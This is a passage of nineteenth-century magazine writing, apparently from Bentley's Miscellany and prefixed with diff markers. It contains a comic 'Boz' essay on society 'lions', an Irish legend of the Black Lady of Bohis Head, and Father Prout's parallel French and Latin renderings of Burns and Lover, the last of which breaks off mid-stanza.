+lustily, and like a true Briton as I am,
+
+    "Send him victorious,
+    Happy and glorious,
+    Long to reign over us,
+    God save the king!"
+
+I then dressed myself, the water being still too rough to allow me to
+do anything but cut my throat with my razor; and went on deck, where I
+soon afterwards enjoyed the sight of green fields, and the villas which
+ornament the banks of the Elbe, with a most satisfactory view of Hamburg
+at no great distance.
+
+And, now that I have brought myself to dry land, do I make a vow never
+again to make a long sea-voyage,--always excepting "leaving my country
+for my country's good," which may happen; but the Britannia, if she
+chooses "to rule the waves," never shall have me as an accomplice again,
+though
+
+    "The bark be stoutly timber'd, and the pilot
+    Of very perfect and approv'd allowance."
+
+
+
+
+                  STRAY CHAPTERS.
+                     BY "BOZ."
+
+
+                     CHAPTER II.
+          SOME PARTICULARS CONCERNING A LION.
+
+We have a great respect for lions in the abstract. In common with
+most other people, we have heard and read of many instances of their
+bravery and generosity. We have duly admired that heroic self-denial and
+charming philanthropy, which prompts them never to eat people except
+when they are hungry, and we have been deeply impressed with a becoming
+sense of the politeness they are said to display towards unmarried
+ladies of a certain state. All natural histories teem with anecdotes
+illustrative of their excellent qualities; and one old spelling-book in
+particular recounts a touching instance of an old lion of high moral
+dignity and stern principle, who felt it his imperative duty to devour a
+young man who had contracted a habit of swearing, as a striking example
+to the rising generation.
+
+All this is extremely pleasant to reflect upon, and indeed says a very
+great deal in favour of lions as a mass. We are bound to state, however,
+that such individual lions as we have happened to fall in with, have not
+put forth any very striking characteristics, and have not acted up to
+the chivalrous character assigned them by their chroniclers. We never
+saw a lion in what is called his natural state, certainly; that is to
+say, we have never met a lion out walking in a forest, or crouching in
+his lair under a tropical sun waiting till his dinner should happen to
+come by, hot from the baker's. But we have seen some under the influence
+of captivity and the pressure of misfortune; and we must say that they
+appeared to us very apathetic, heavy-headed fellows.
+
+The lion at the Zoological Gardens, for instance. He is all very well;
+he has an undeniable mane, and looks very fierce; but, Lord bless us!
+what of that? The lions of the fashionable world look just as ferocious,
+and are the most harmless creatures breathing. A box-lobby lion or
+a Regent-street animal will put on a most terrible aspect, and roar
+fearfully, if you affront him; but he will never bite, and, if you offer
+to attack him manfully, will fairly turn tail and sneak off. Doubtless
+these creatures roam about sometimes in herds, and, if they meet any
+especially meek-looking and peaceably-disposed fellow, will endeavour
+to frighten him; but the faintest show of a vigorous resistance is
+sufficient to scare them even then. These are pleasant characteristics,
+whereas we make it matter of distinct charge against the Zoological lion
+and his brethren at the fairs, that they are sleepy, dreamy, sluggish
+quadrupeds.
+
+We do not remember to have ever seen one of them perfectly awake, except
+at feeding-time. In every respect we uphold the biped lions against
+their four-footed namesakes, and we boldly challenge controversy upon
+the subject.
+
+With these opinions it may be easily imagined that our curiosity and
+interest were very much excited the other day, when a lady of our
+acquaintance called on us and resolutely declined to accept our refusal
+of her invitation to an evening party; "for," said she, "I have got a
+lion coming." We at once retracted our plea of a prior engagement, and
+became as anxious to go, as we had previously been to stay away.
+
+We went early and posted ourself in an eligible part of the
+drawing-room, from whence we could hope to obtain a full view of the
+interesting animal. Two or three hours passed, the quadrilles began,
+the room filled; but no lion appeared. The lady of the house became
+inconsolable,--for it is one of the peculiar privileges of these lions
+to make solemn appointments and never keep them,--when all of a sudden
+there came a tremendous double rap at the street-door, and the master
+of the house, after gliding out (unobserved as he flattered himself) to
+peep over the banisters, came into the room, rubbing his hands together
+with great glee, and cried out in a very important voice, "My dear,
+Mr. ---- (naming the lion) has this moment arrived."
+
+Upon this, all eyes were turned towards the door, and we observed
+several young ladies, who had been laughing and conversing previously
+with great gaiety and good-humour, grow extremely quiet and sentimental;
+while some young gentlemen, who had been cutting great figures in
+the facetious and smalltalk way, suddenly sank very obviously in the
+estimation of the company, and were looked upon with great coldness
+and indifference. Even the young man who had been ordered from the
+music-shop to play the pianoforte, was visibly affected, and struck
+several false notes in the excess of his excitement.
+
+All this time there was a great talking outside, more than once
+accompanied by a loud laugh, and a cry of "Oh, capital! excellent!"
+from which we inferred that the lion was jocose, and that these
+exclamations were occasioned by the transports of his keeper and our
+host. Nor were we deceived; for when the lion at last appeared, we
+overheard his keeper, who was a little prim man, whisper to several
+gentlemen of his acquaintance, with uplifted hands and every expression
+of half-suppressed admiration, that ---- (naming the lion again) was in
+_such_ cue to-night!
+
+The lion was a literary one: of course there were a vast number of
+people present, who had admired his roarings, and were anxious to be
+introduced to him; and very pleasant it was to see them brought up for
+the purpose, and to observe the patient dignity with which he received
+all their patting and caressing. This brought forcibly to our mind what
+we had so often witnessed at country fairs, where the other lions are
+compelled to go through as many forms of courtesy as they chance to be
+acquainted with, just as often as admiring parties happen to drop in
+upon them.
+
+While the lion was exhibiting in this way, his keeper was not idle, for
+he mingled among the crowd, and spread his praises most industriously.
+To one gentleman he whispered some very choice thing that the noble
+animal had said in the very act of coming up stairs, which, of course,
+rendered the mental effort still more astonishing; to another he
+murmured a hasty account of a grand dinner that had taken place the
+day before, where twenty-seven gentlemen had got up all at once to
+demand an extra cheer for the lion; and to the ladies he made sundry
+promises of interceding to procure the majestic brute's sign-manual
+for their albums. Then, there were little private consultations in
+different corners, relative to the personal appearance and stature of
+the lion; whether he was shorter than they had expected to see him, or
+taller, or thinner, or fatter, or younger, or older; whether he was
+like his portrait or unlike it; and whether the particular shade of his
+eyes was black, or blue, or hazel, or green, or yellow, or mixture.
+At all these consultations the keeper assisted; and, in short, the
+lion was the sole and single subject of discussion till they sat him
+down to whist, and then the people relapsed into their old topics of
+conversation--themselves and each other.
+
+We must confess that we looked forward with no slight impatience to
+the announcement of supper; for if you wish to see a tame lion under
+particularly favourable circumstances, feeding-time is the period of all
+others to pitch upon. We were therefore very much delighted to observe
+a sensation among the guests, which we well knew how to interpret,
+and immediately afterwards to behold the lion escorting the lady of
+the house down stairs. We offered our arm to an elderly female of our
+acquaintance, who--dear old soul!--is the very best person that ever
+lived, to lead down to any meal; for, be the room ever so small or the
+party ever so large, she is sure, by some intuitive perception of the
+eligible, to push and pull herself and conductor close to the best
+dishes on the table;--we say we offered our arm to this elderly female,
+and, descending the stairs shortly after the lion, were fortunate enough
+to obtain a seat nearly opposite him.
+
+Of course the keeper was there already. He had planted himself at
+precisely that distance from his charge which afforded him a decent
+pretext for raising his voice, when he addressed him, to so loud a key
+as could not fail to attract the attention of the whole company, and
+immediately began to apply himself seriously to the task of bringing the
+lion out, and putting him through the whole of his manoeuvres. Such
+flashes of wit as he elicited from the lion! First of all they began
+to make puns upon a salt-cellar, and then upon the breast of a fowl,
+and then upon the trifle; but the best jokes of all were decidedly on
+the lobster-salad, upon which latter subject the lion came out most
+vigorously, and, in the opinion of the most competent authorities,
+quite outshone himself. This is a very excellent mode of shining in
+society, and is founded, we humbly conceive, upon the classic model of
+the dialogues between Mr. Punch and his friend the proprietor, wherein
+the latter takes all the up-hill work, and is content to pioneer to the
+jokes and repartees of Mr. P. himself, who never fails to gain great
+credit and excite much laughter thereby. Whatever it be founded on,
+however, we recommend it to all lions, present and to come; for in this
+instance it succeeded to admiration, and perfectly dazzled the whole
+body of hearers.
+
+When the salt-cellar, and the fowl's breast, and the trifle, and the
+lobster-salad were all exhausted, and could not afford standing-room for
+another solitary witticism, the keeper performed that very dangerous
+feat which is still done with some of the caravan lions, although in
+one instance it terminated fatally, of putting his head in the animal's
+mouth, and placing himself entirely at its mercy. Boswell frequently
+presents a melancholy instance of the lamentable results of this
+achievement, and other keepers and jackals have been terribly lacerated
+for their daring. It is due to our lion to state, that he condescended
+to be trifled with, in the most gentle manner, and finally went home
+with the showman in a hack cab: perfectly peaceable, but slightly
+fuddled.
+
+Being in a contemplative mood, we were led to make some reflections upon
+the character and conduct of this genus of lions as we walked homewards,
+and we were not long in arriving at the conclusion that our former
+impression in their favour was very much strengthened and confirmed by
+what we had recently seen. While the other lions receive company and
+compliments in a sullen, moody, not to say snarling manner, these appear
+flattered by the attentions that are paid them; while those conceal
+themselves to the utmost of their power from the vulgar gaze, these
+court the popular eye, and, unlike their brethren, whom nothing short
+of compulsion will move to exertion, are ever ready to display their
+acquirements to the wondering throng. We have known bears of undoubted
+ability who, when the expectations of a large audience have been wound
+up to the utmost pitch, have peremptorily refused to dance; well-taught
+monkeys, who have unaccountably objected to exhibit on the slack-wire;
+and elephants of unquestioned genius, who have suddenly declined to
+turn the barrel-organ: but we never once knew or heard of a biped lion,
+literary or otherwise,--and we state it as a fact which is highly
+creditable to the whole species,--who, occasion offering, did not seize
+with avidity on any opportunity which was afforded him, of performing to
+his heart's content on the first violin.
+
+
+
+
+                   THE LEGEND OF BOHIS HEAD.
+
+One of the most south-western points of Ireland is the promontory of
+Bohis, which forms the northern shore of the bay of Balinskeligs. A
+singular conformation of rock is observable upon the extremity of the
+wild cape, it being worn by the incessant beating of the billows into a
+grotesque resemblance of the human profile. The waves, however, are not
+suffered to claim undisputed this rude sculpture as their own; a far
+different origin being attributed to it by the legends of the country
+around. The following is the legend, as told to us.
+
+In times long, very long ago,--prior even to that early age when
+Milesius came over from Spain, to plant in Ireland the prolific tribes
+of the _O_'s and the _Mac_'s,--Bohis Head, instead of the abrupt, broken
+cliffs that now terminate it, presented a lofty and uniform wall of
+rock to the assaults of the Atlantic. Upon the topmost summit (much
+about where now stand the unfinished walls of one of those desirable
+winter-residences, the coast watch-towers, built at _the end_ of the
+last war,) there stood, at the period of our tale, the castle of a very
+celebrated personage, generally known in those parts as the Baon Ri
+Dhuv,--in plain English, "The Black Lady,"--a title partly bestowed on
+her, on account of her dark hair and face, and partly on account of the
+cruelty and tyranny which she exercised upon all those who were subject
+to her dominion. She must have been redoubtable in no small degree, as,
+besides the possession of a large army, which she could at any time
+collect from her numerous array of vassals, she was a deep proficient
+in the art of magic, and was even said to have once, by the potency of
+her spells, prevented a drop of rain from falling upon her territories
+(which included the whole of Munster) for a week together. But as the
+south of Ireland at least has never since been known to be so long
+without showers, this feat is not so implicitly believed as other of the
+traditions about her. However that may be, this at least is certain,
+that she wanted for nothing that force or fraud, fair means or means the
+most unholy, could give her; and she was deemed the happiest as well as
+the most powerful being in the world.
+
+Those who said this, did not judge truly. In the midst of all her
+splendour and state, caressed, feared, flattered, obeyed as she was
+by all, she was not happy; and it is strange that her tenants and
+servants did not find this out, as her usual method of easing her
+feelings was by ill-treating and abusing them. But they were, in all
+probability, too much afraid of her to call even their thoughts their
+own, for fear of being metamorphosed into goats, or cows, or some other
+species of beasts; a change of life which, from the scanty grazing of
+the neighbouring mountain pastures, they did not deem very inviting.
+She was _not_ happy; and simply because, among her myriad of vassals,
+flatterers, and slaves, she had not one _friend_. There was the whole
+secret. In her inmost soul she--that proud, tyrannical, haughty,
+hard-hearted woman--felt that, all feared and all potent as she was, she
+still was no more than mortal; and that within her own breast there was
+that which tyrannised over herself,--the innate longings of our nature
+for sympathy, for companionship, for affection. The humblest hind that
+served her, had a comrade,--a friend; while she, the queen and mistress
+of all, was the object of detestation as universal as the slavish
+obedience that met her at every step. At first she scoffed and spurned
+at the dull internal aching; it was a weakness, she thought, that needed
+but to be fought against, to be for ever quelled. She sought wars and
+conflicts; she dived deeper than ever before into the unholy mysteries
+of the "Black Art;" she revelled, she feasted, and she succeeded in
+quelling the rebel feeling for a time,--but only for a time. There came
+a reaction to her excitement; and, while her spirits and all else seemed
+exhausted and worn out, this dull yearning was stronger and more aching
+than ever. At length, one day, after a long and painful reverie, she
+started up, striking her forehead violently, and vowed that she would
+have a friend,--a companion,--nay, even (as her sentimentality increased
+with indulgence) a _husband_,--or perish in the attempt! As the oath
+passed her lips, a tremendous peal of thunder rolled over the castle
+towers and passed off to seaward, dying away in the distance with a
+sound not unlike a wild and prolonged shout of laughter.
+
+She had not much time to lose, if she intended to marry. The little
+servant-boy, who had been allowed to get drunk on the night of
+rejoicings for her birth, was now a grave and sedate major-domo of
+most venerable age. She herself, but some fifteen or sixteen years his
+junior, was long past the time when the grossest flattery could make
+her believe that she was young; and her years had not passed over her
+head without leaving their traces behind. She had been in her best days
+what is called by friends "rather plain," which generally means "very
+ugly." Her forehead bowed out and overhung her nose, which endeavoured
+to stretch out to some decent length, but was unfortunately foiled by
+the want of a bridge. The mouth, as if it perceived this failure on
+the part of the feature immediately above it, modestly declined the
+contest, and retreated far inward. The chin, however, amply made up for
+all intermediate deficiencies, and even surpassed the forehead in the
+hugeness of its proportions, or _dis_proportions. Her hair was black,
+as has been said, and hung in long, lanky clusters about her face. Time
+seldom improves the human countenance, and certainly made no exception
+in favour of the Baon Ri Dhuv. At the time of her vow many wrinkles had
+made their appearance, and unequivocal grey hairs chequered the once
+uniform sable that covered her head. Magic had not then arrived at the
+pitch of perfection to which it afterwards attained in the times of
+Virgilius and Apollonius Rhodius; and, among the inventions yet in the
+womb of time, were the charms for restoring youth and imparting beauty.
+
+The lady of the castle set off, one fine morning, on the back of a
+cloud which she had hailed as it was drifting over her chimney-tops,
+driven inland by the fresh breeze from the ocean. As she was borne
+along, she looked anxiously right and left down upon the earth, to
+spy out, if possible, the desired companion. But she found she had
+grown very fastidious, now that the means of ridding herself of her
+troublesome desires appeared open to her. She looked at no women; she
+felt instinctively that none of her own sex could be the friend that
+would satisfy her heart: but all the young men that she passed over,
+she scrutinized, as if her life depended upon it. They in their turn
+stared a good deal at her, as well they might; for it was no common
+thing, even in those days, to see a woman perched up on a cloud, sailing
+over your head before a rattling breeze of wind. Perhaps it was their
+staring at her, so different from the downcast eyes and humble mien of
+her slaves at home,--perhaps it was their rude remarks that displeased
+her; whatever it was, on she went without making her choice, until
+towards the close of the day she found she had nearly crossed Ireland
+in a diagonal line from south-west to north-east, the wind blowing in
+that direction. As it still blew merrily, and it was full-moon night,
+she determined to go on to Scotland, and try whether Sawnie could
+please her, better then Paddy. With this resolve she had not proceeded
+more than half a league from the shore of Ireland, when she perceived
+she was going over a mountain-islet some five or six miles in girth,
+and apparently very fertile in its soil, for large herds of cattle
+were grazing upon its sides. It is a trite and true saying, that those
+who possess much, are often covetous of more; and in her case it was
+especially true. With a word she stayed the cloud over the island; the
+wind falling all at once, in obedience to her will. If there were any
+of the old Vikingir, those daring privateersmen of ancient times, that
+night upon the waters, how they and their fierce crews must have heaped
+maledictions on the unseen power that quelled the merry breeze before
+which they were late careering gaily with bended mast and bellying sail,
+and summoned them to ply the labouring oar throughout the hours they had
+vainly hoped to give to slumber! But the Black Lady was not a person to
+care much for such trifles as curses. If she had been so, she would have
+led an extremely uncomfortable life, for she had merited a good many of
+them in her time. Over the island she hung, gazing down upon it, and
+gloating on its richness and fertility, while she inwardly resolved to
+strain her magical powers to the utmost, to transfer it from its present
+position to the neighbourhood of her own coast. Her attention, however,
+was soon withdrawn from all other objects, and concentrated on one that
+had just caught her eye: it was a young man, the only one she had as yet
+seen who did not stare up at her, rudely and impertinently. Indeed he
+did not look up at all. He seemed to have no eyes, no soul, for any one
+but a young girl who was by his side. The lady on the cloud could see by
+the moonlight that the girl's face was exceedingly beautiful; that is
+to say, as much as could be perceived of it when she occasionally, and
+but for a moment, raised her eyes from the ground, on which they were
+riveted.
+
+"Speak! will you not speak to me?" were the words of the young man: "but
+one word, Eva,--dearest Eva,--to tell me have I offended by my boldness?"
+
+The girl blushed ten times deeper than before, and her lips quivered as
+at length she slowly murmured out, "No, Conla!"
+
+"Thanks! thanks!" was his rapturous exclamation; "a thousand times
+thanks, my own, my ... Hallo! what is this? Whence come you?" These
+latter words were addressed to the Black Lady, as, to his utter
+astonishment, she alighted from the cloud right in his path. Eva
+shrieked, and hid her face in his bosom.
+
+"I am the Baon Ri Dhuv," said the enchantress, trying to look dignified,
+and to smooth away the scowl that had darkened her visage since she
+perceived his companion,--"the Queen of the South!"
+
+"And what can the Baon Ri Dhuv, the Queen of the South, want with Conla,
+a shepherd of the north?"
+
+"Young man, mock me not," replied she, frowning most awfully: "you know
+not, but you may be made to _feel_, my power. Listen to me," continued
+she in a milder tone, and putting on what she intended to be a most
+amiable and engaging look; but which gave her coarse lineaments a still
+more grotesque hideousness, that almost made the young shepherd laugh in
+her face, despite the secret dread he felt creeping on his heart. "I am
+the ruler of a vast tract of country; I have a vast army to do my will;
+nay, more, I have dominion over the elements in their fiercest rage,
+and spirits obey my bidding. I am rich beyond counting. You smile, and
+believe not. Look here!"
+
+As she spoke, she struck the ground three times with her foot, muttering
+rapidly to herself, when up sprang close to her, a tall tree of the
+purest gold, the glittering branches laden with jewels beyond all price.
+Seizing one of these, a magnificent emerald, and pulling it off the
+branch, again she stamped her foot, and the tree disappeared, leaving
+the jewel in her hands.
+
+"Here," continued she, putting it into Conla's passive hand, "here is
+earnest of my wealth; leave that weak girl, and come with me to wealth
+and happiness!"
+
+Conla had hitherto been kept dumb by the strange scene before him; but
+now, rousing himself, he looked at his Eva, and meeting her gaze of
+deep, whole-hearted, confiding affection, he dashed the glittering jewel
+on the ground, and cried,
+
+"Away, sorceress! I spurn your gifts, your accursed power, yourself!
+With Eva will I live or die!"
+
+The face of the Black Lady showed horrible in the pale moonlight, as,
+with a withering scowl of hatred and vengeance, she again spoke:
+
+"You shall not die, insolent wretch! You shall live in agonies to which
+death were mercy; ay, and she, too,--that worthless thing you prefer to
+me,--she, too, shall suffer!"
+
+As she spoke, she described a circle in the air with her hand round the
+island. At once the moon became obscured, and a terrible darkness fell
+upon all, while a sudden storm swept over the island. Conla and his Eva
+tried to fly to some cave for refuge, but were arrested by the sight
+that met their eyes when the transitory darkness cleared away. The moon
+again shone out brilliantly, and by its light the lovers perceived,
+to their great horror, that the island itself was in motion! A little
+ahead of its southernmost point their persecutor was scudding over the
+waters in a bark, the traditional accounts of which, represent it as a
+good deal resembling the steam-boats of modern days, for there was smoke
+issuing out of it; and two or three respectable individuals, with black
+faces, fiery eyes, horns on their heads, and tails twirled in graceful
+folds, might be seen through an open hatchway, employed in much the
+same manner as the hard-working, hard-drinking steam-packet engineers
+of our own times, while a clacking and clanging of iron was continually
+heard, similar to the sounds that annoy sea-sick passengers at present.
+From the taffrail of this inviting-looking vessel, three or four strong
+cables stretched to the island, and were rove through an immense hole
+in a huge projecting rock, that seemed as if it had been bored for this
+especial purpose. The steamer tugged gallantly, and the island plashed
+and splashed heavily along, at the rate of twenty or thirty knots an
+hour: the cows and sheep upon the latter, not having their sea-legs
+aboard, tumbled and rolled about in fine style. Eva got exceedingly
+sea-sick, and Conla exceedingly indignant: but there was no use in his
+anger. On the island went.
+
+On and on,--past Belfast, Drogheda, Dublin,--rattling and splashing
+along, greatly to the astonishment of the fishes, who, besides being
+then quite unaccustomed to public steaming, had never before seen an
+island on the move. Between Dublin and Holyhead there was a little
+difficulty; for the island, which was exceedingly unmanageable, fetched
+away to starboard, and took the ground a little outside of Howth. This
+was a cause of great delight to the lovers, who thought their voyage was
+now at an end; but they were much mistaken; two of the amiable gentry
+who manned the tug-boat jumped lightly on the island, and cut away with
+a couple of strokes of an axe the part that was aground, it breaking
+into two pieces, which remain to this day, proof of the truth of this
+tale, under the names of Lambay and Ireland's Eye. On went the steamer
+again, and on went the island merrily and clumsily as ever, and the
+Black Lady looked back and laughed at the disappointed lovers.
+
+Wicklow went by,--Wexford,--and now the shores of the county Waterford
+hove in sight; and the vessel and island, rounding Point Carnsore in
+gallant style, issued out from the Irish Channel into the waters of the
+Atlantic.
+
+Morning had broken by this time, and a bright and beautiful morning it
+was. Eva, overpowered by fatigue, had sunk to sleep; Conla sate beside
+her, deep anxiety lowering on his brow, and his soul rent with the most
+agonizing emotions. Meantime his body was just as much disturbed, for
+the island was now heaving and pitching worse than before, upon the
+longer billows of the ocean; and he occasionally had to hold on with
+both his hands to the stones and shrubs near him, to prevent himself
+from being what sailors would call "hove overboard" by the violent
+motion of the strange craft in, or rather _on_, which he was embarked.
+Disliking his situation exceedingly, and greatly fearing that he would
+have still more reason to do so, he saw that there was no chance of his
+delivery from it, if he could not succeed in mollifying the enraged
+enchantress. Espying her again seated upon the steamer's taffrail, he
+therefore hailed her, and sought by humble prayers and entreaties to
+induce her to release him and his Eva; or, if one should suffer, to set
+her free, and vent the heaviest vengeance upon his head. But the Black
+Lady let him talk on. He had a very sweet voice, and she liked to hear
+that; and, when he had done, she contented herself with simply shaking
+her head in token of refusal: then, as he again stooped his proud spirit
+to still more vehement entreaties and supplications, and raved in the
+intensity of his anguish, she mocked at him, and laughed loud and long
+in scorn, till at length, wearied out and despairing, he sunk his head
+upon his bosom, and was silent. Slowly the day wore on, but quickly the
+headlands and bays of the southern shore of Ireland glided by; and great
+was the wonder and amaze of those who looked to seaward from that shore.
+Many were the noble fishes left that day in the depths of the ocean with
+the barbed hook fast in their jaws, as the wild natives of the coast, in
+terror at the sight of the demon vessel and her charge, hove overboard
+their rude fishing-gear to lighten their frail coracles, and plied sail
+and oar to seek refuge on the land. It has been even surmised that it
+was some such sight as this, that scared that first great geographer,
+Ptolemy, and made him fly the Irish coast ere he had completed his
+survey. However, this is a point that has never been fully ascertained.
+
+The sun was sinking gloriously into the bosom of the slow-heaving main
+as the steamer, with the island in tow, rounded Dursey Head, and hove
+in sight of their destination, the promontory of Bohis. With exultation
+in her eyes, the Baon Ri Dhuv pointed out her lofty castle, shining in
+the distance with the last rays of the departing orb of day. Eva was now
+awake, and her and Conla's supplications were poured out for mercy and
+for pity; but they might as well have been uttered to Bohis Head itself.
+The leagues between the latter place and Dursey Head were rapidly
+traversed, and now the island had been towed within a mile of its final
+destination, which was the promontory on which the castle stood. At
+this moment another sudden storm, such as that of the preceding night,
+passed athwart the scene; and, when it cleared away, the steamer had
+disappeared, and the Black Lady was to be seen, upon the headland
+tugging at the island to bring it closer.
+
+"Is there no help in Heaven!" cried Conla, as, after another appeal in
+vain to their persecutor, he threw his eyes up with a reproachful glance.
+
+"Hush, Conla! reproach not the powers above; they are most merciful, and
+will protect us. Hark! they answer!"
+
+At this moment a heavy peal of thunder crashed over head, and, rolling
+towards the castle, seemed to expend itself over its summit.
+
+"Dread lady," cried Eva, animated to unusual courage by the omen,
+"hearken to that, and yield to the powers of Heaven!--they declare
+against thy tyranny!"
+
+"Never!" roared the tyrant, her eyes flashing baleful fire. "Sooner will
+I become part of this mountain on which I stand mistress, than ye shall
+escape me!"
+
+As she spoke, she gave a pull with her utmost strength to the chains. At
+the moment a vivid flash of lightning darted from the clouds, and the
+chains snapped right asunder. With the force of the shock the Black Lady
+was precipitated into the sea, the island at the same time rebounding
+back and becoming fixed for ever about halfway between Dursey and Bohis
+Head.
+
+The Baon Ri Dhuv's tenants and servants spent the night in vainly
+searching for her. The morning revealed to them a terrible sight.
+Upon the extremity of the cape her well-known visage appeared, but
+transformed to stone, and doomed for ages to remain there, lashed by the
+raging billows of the ocean. Thus was her fatal wish accomplished!
+
+The island so strangely brought round, remains where it recoiled to,
+and is now known by the name of Scariff. It is still rich land, and
+feeds many herds; a strong proof of the authenticity of this tale, and
+which is farther borne out by the fact, that the hole through which
+the towing-chains were rove remains to this hour. Conla and Eva lived
+happily for the rest of their days where they were, and left a numerous
+progeny. It is said that the little old man who, with his strapping
+offspring, fourteen in number, now tenants the island, is their lineal
+descendant. The emerald that Conla threw away was afterwards found,
+and preserved as a memorial of the events narrated until the times of
+Cromwell; when some of his soldiers, having visited the island for
+the laudable purpose of killing a friar who lived there as a hermit,
+indulged another of their virtuous propensities by carrying the jewel
+away with them.
+
+
+
+
+              BOB BURNS AND BERANGER.
+             SAM LOVER AND OVIDIUS NASO.
+
+                   BY FATHER PROUT.
+
+          TO THE EDITOR OF BENTLEY'S MISCELLANY.
+
+  SIR,--Under the above title I forward you two more scraps from
+       _Water-grass-hill_.
+
+The first is a glee in praise of poverty, a subject on which poets of
+every country have a common understanding. The Italian BERNI, indeed,
+went a step farther when he sang the "comforts of being in debt,"--_La
+laude del debito_; but your enthusiast never knows where to stop. This
+MS. may suit in the present state of the money market,--a bill drawn
+by Burns and endorsed by Beranger. You can rely on the Scotchman's
+signature, _experto crede Roberto_; while there can be no doubt that
+the French songster's financial condition fully entitles him to join
+Burns in an attempt of this kind. Since, however, much spurious paper
+appears to be afloat, you will use your own discretion as to the foreign
+acceptance.
+
+Of Scrap No. VI. I say nothing, Doctor Prout having left a note on the
+subject prefixed to the same. Yours, &c.
+                                                RORY O'DRYSCULL.
+ _Water-grass-hill, April 20._
+
+                         SCRAP NO. V.
+
+               I.                               1.
+    Is there,                          Quoi! Pauvre honnête
+    For honest poverty,                Baisser la tête?
+    That hangs his head              Quoi! rougir de la sorte?
+      And a' that?                     Que l'âme basse
+    The coward slave                   S'éloigne et passe
+    We pass him by,                  Nous--soyons gueux! n'importe!
+      We dare be poor for a' that:     Travail obscur--
+      For a' that, and a' that,         N'importe!
+    Our toils obscure,                 Quand l'or est pur
+      And a' that;                     N'importe!
+    The rank is but                   Qu'il ne soit point
+    The guinea's stamp,                     Marqué au coin
+      The MAN's the gowd for a' that. D'un noble rang--qu'importe!
+
+              II.                               2.
+    What! though                        Quoiqu'on dût faire
+    On homely fare we dine,             Bien maigre chère
+    Wear hidden grey,                 Et vêtir pauvre vêtement;
+      And a' that;                      Aux sots leur soie,
+    Give fools their silks,             Leur vin, leur joie;
+    And knaves their wine,            Ça fait'il L'HOMME? eh, nullement!
+      A man's a MAN for a' that:      'Luxe et grandeur--
+      For a' that, for a' that,         Qu'importe!
+    Their tinsel show,                 Train et splendeur--
+      And a' that;                      Qu'importe!
+    The honest man,                    Coeurs vils et creux!
+    Though e'er so poor,               Un noble gueux
+      Is king o' men for a' that.     Vaut toute la cohorte!
+
+             III.                               3.
+    Ye see                              Voyez ce fat--
+    Yon birkie, ca'd a lord,            Un vain éclat
+    Wha struts and stares,            L'entoure, et on l'encense,
+      And a' that;                      Mais après tout
+    Though hundreds worship             Ce n'est qu'un fou,--
+    At his word,                      Un sot, quoiqu'il en pense;
+      He's but a coof for a' that:      Terre et maison,
+      For a' that, for a' that,           Qu'il pense--
+    His riband, star,                   Titre et blazon,
+      And a' that;                        Qu'il pense--
+    The man of                          Or et ducats,
+    Independent mind                    Non! ne font pas
+      Can look and laugh at a' that.  La vraie indépendence!
+
+              IV.                               4.
+    A king                              Un roi peut faire
+    Can make a belted knight,           Duc, dignitaire,
+    A marquis, duke,                  Comte et marquis, journellement;
+      And a' that;                      Mais ce qu'on nomme
+    But an HONEST MAN                   Un HONNÊTE HOMME,
+    's aboon his might,               Le peut-il faire? eh, nullement!
+      Guid faith he manna fa' that.     Tristes faveurs!
+      For a' that, for a' that,           Réellement;
+    Their dignities,                    Pauvres honneurs!
+      And a' that;                        Réellement;
+    The pith o' sense                   Le fier maintien
+    And pride o' warth                  Des gens de bien
+      Are higher ranks than a' that.  Leur manque essentiellement.
+
+               V.                               5.
+    Then let us pray                    Or faisons voeu
+    That come it may--                  Qu'à tous, sous peu,
+    As come it will                   Arrive un jour de jugement;--
+      For a' that--                     Amis, ce jour
+    That sense and warth,               Aura son tour,
+    O'er all the earth,               J'en prends, j'en prends,
+                                              l'engagement.
+      May bear the gree, and a' that!   Espoir et encouragement,
+      For a' that, and a' that,
+    It's coming yet,                    Aux pauvres gens
+      For a' that,                        Soulagement;
+    That man to man,                    'Lors sure la terre
+    The warld a' o'er,                  Vivrons en frères,
+    Shall brothers be, for a' that.   Et librement, et sagement!
+
+
+                           SCRAP NO. VI.
+
+Possevino, in his _History of the Gonzagas_, (fol. Mantua, 1620,) tells
+us, at page 781, that a Polish army, having penetrated to the Euxine,
+found the ashes, with many MSS. of Ovid under a marble monument, which
+they transferred in pomp to Cracow, A.D. 1581. It is well known that the
+exiled Roman had written sundry poems in barbaric metre to gratify the
+Scythian and Getic literati with whom he was surrounded. We have his own
+words for it:
+
+            "_Cæpique poetæ
+    Inter inhumanos nomen habere Getas._"
+
+The following is a fair specimen, procured by the kindness of the late
+erudite Quaff-y-punchovitz, Keeper of the Archives of the Cracovian
+University. The rhythmic termination, called by the Greeks [Greek:
+omoioteleuton] is here clearly traceable to a Northern origin. It would
+appear that the Scandinavian poets took great pride in the nicety and
+richness of these rhymes, by which they beguiled the tediousness of
+their winter nights:
+
+    "_Accipiunt inimicam hyemem_ RIMIS_que, fatiscunt._"
+
+Ovid first tried thus an experiment on his native tongue, which was duly
+followed up by the CHURCH, not unwilling to indulge by any reasonable
+concession her barbarous converts in the sixth century. Of Mr. Lover's
+translation it were superfluous to point out the miraculous fidelity;
+delicate gallantry and well-sustained humour distinguish every line of
+his vernacular version, hardly to be surpassed by the _Ars amandi_ of
+his Latin competitor.
+
+
+ TO THE HARD-HEARTED MOLLY          AD MOLLISSIMAM PUELLAM, È GETICÂ
+ CAREW, THE LAMENT OF HER               CARUARUM FAMILIÂ OVIDIUS
+        IRISH LOVER.                        NASO LAMENTATUR.
+
+              1.                                 I.
+    Och hone!                           Heu! heu!
+      Oh! what will I do?                 Me tædet, me piget o!
+    Sure my love is all crost,          Cor mihi riget o!
+    Like a bud in the frost ...         Ut flos sub frigido ...
+      And there's no use at all           Et nox ipsa mî, tum
+    In my going to bed;                 Cum vado dormitùm,
+    For 'tis dhrames, and not sleep,    Infausta, insomnis,
+    That comes into my head ...         Transcurritur omnis ...
+      And 'tis all about you,             Hoc culpâ fit tuâ
+    My sweet Molly Carew,               Mî, ollis Carùa,
+    And indeed 'tis a sin               Sic mihi illudens,
+    And a shame.--                      Nec pudens.--
+      You're complater than nature        Prodigum tu, re
+    In every feature;                   Es, verâ, naturæ,
+    The snow can't compare              Candidor lacte;--
+    To your forehead so fair:           Plus fronte cum hâc te,
+    And I rather would spy              Cum istis ocellis,
+    Just one blink of your eye          Plus omnibus stellis
+    Than the purtiest star              Mehercule vellem.--
+    That shines out of the sky;         Sed heu, me imbellem!
+    Tho'--by this and by that!          A me, qui sum fidus,
+    For the matter o' that--            Vel ultimum sidus
+    You're more distant by far          Non distat te magis ...
+    Than that same.                     Quid agis!
+      Och hone, wierasthrew!              Heu! heu! nisi tu
